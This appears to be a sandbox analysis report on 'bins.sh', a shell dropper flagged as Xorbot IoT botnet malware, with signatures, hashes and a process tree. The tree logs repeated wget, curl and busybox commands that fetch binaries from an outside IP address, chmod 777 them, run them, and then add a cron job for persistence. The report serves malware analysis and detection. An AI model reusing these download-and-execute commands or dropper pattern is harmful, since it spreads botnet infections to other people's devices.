Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    08/01/2025, 04:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250108-e234wswnfr
  • SHA256 b8dddc5a936401d0b005f3d42cd5bfa6fb72312793aca66d111d465d79411ede
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1629) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://66.63.187.225/bins/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Writes file to tmp directory
          PID:703
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Writes file to tmp directory
          PID:718
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/chmod
          chmod 777 NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • File and Directory Permissions Modification
          PID:727
        • /tmp/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          ./NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Executes dropped EXE
          PID:728
        • /bin/rm
          rm NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
            PID:730
          • /usr/bin/wget
            wget http://66.63.187.225/bins/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Writes file to tmp directory
            PID:731
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:732
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/chmod
            chmod 777 dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • File and Directory Permissions Modification
            PID:734
          • /tmp/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            ./dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Executes dropped EXE
            PID:735
          • /bin/rm
            rm dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
              PID:737
            • /usr/bin/wget
              wget http://66.63.187.225/bins/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Writes file to tmp directory
              PID:738
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:744
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • File and Directory Permissions Modification
              PID:759
            • /tmp/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              ./UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Executes dropped EXE
              PID:760
            • /bin/rm
              rm UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
                PID:763
              • /usr/bin/wget
                wget http://66.63.187.225/bins/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • Writes file to tmp directory
                PID:765
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • Writes file to tmp directory
                PID:795
              • /bin/chmod
                chmod 777 ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • File and Directory Permissions Modification
                PID:796
              • /tmp/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                ./ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:797
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:799
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:800
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:801
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:802
                    • /bin/rm
                      rm ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                      2⤵
                        PID:804
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                        2⤵
                          PID:854

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
                            • Path /tmp/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
                            • Size 107KB
                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                            • Path /tmp/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
                            • Path /tmp/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
                            • Size 141KB
                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
                            • Path /tmp/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
                            • Size 98KB
                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.UXLkKG
                            • Path /var/spool/cron/crontabs/tmp.UXLkKG
                            • Size 210B
                            • SHA256 d516aa47f96e72c41214c4486e8f6b6da482816f0e2f3e646e546886eca94b1e
                            • MD5 SHA1 SHA512
                            Submit Download